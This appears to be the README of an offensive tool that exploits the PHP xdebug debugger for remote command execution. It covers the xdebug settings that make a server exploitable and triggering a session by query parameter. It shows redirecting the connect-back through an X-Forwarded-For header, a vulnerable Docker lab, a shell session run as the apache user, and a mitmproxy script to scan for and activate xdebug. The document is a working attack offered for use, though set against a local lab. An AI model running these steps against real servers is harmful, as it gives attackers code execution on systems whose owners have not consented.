xdebug-shell

Exploiting xdebug to get remote command execution is not new:

It is always cool to have a webshell.

What is xdebug ?

Xdebug is a php extension that allows to debug php pages, remotely by using DGBp protocol. Code repository is located at xdebug.

Code execution is possible via injections that exist in eval or property_set xdebug commands.

How to activate it ?

For a reverse shell to work, xdebug configuration needs to include:

xdebug.remote_enable=true
xdebug.remote_connect_back=true

In order to start xdebug, add XDEBUG_SESSION_START to query parameters. Remote server will try to connect back to user on port tcp/9000. The endpoint where to connect to can be altered using X-Forwarded-For header. For example, if using Docker for Mac to run the xdebug Docker image supplied, you may use docker.for.mac.localhost as value.

How to start a Docker vulnerable image ?

Go into vulnerable-xdebug and type:

$ docker build -t vulnerable-xdebug .
$ docker run -ti --rm -p 8080:80 vulnerable-xdebug
AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message

Dockerfile is based on Centos 7.4.1708 image.

Get a webshell

$ ./xdebug-shell.py --local-host=docker.for.mac.localhost --url=http://127.0.0.1:8080/phpinfo.php
>> id
uid=48(apache) gid=48(apache) groups=48(apache)
>> pwd
/var/www/html
>> uname -a
Linux b8db2353f675 4.9.60-linuxkit-aufs #1 SMP Mon Nov 6 16:00:12 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
>> cat /etc/redhat-release
CentOS Linux release 7.4.1708 (Core)
>> lsmod
Module                  Size  Used by
xfrm_user              32768  1
xfrm_algo              16384  1 xfrm_user
>> ^D

How to scan for xdebug ?

You can use this mitmproxy script activate-xdebug.py:

$ mitmdump -dd -s "./activate-xdebug.py docker.for.mac.localhost"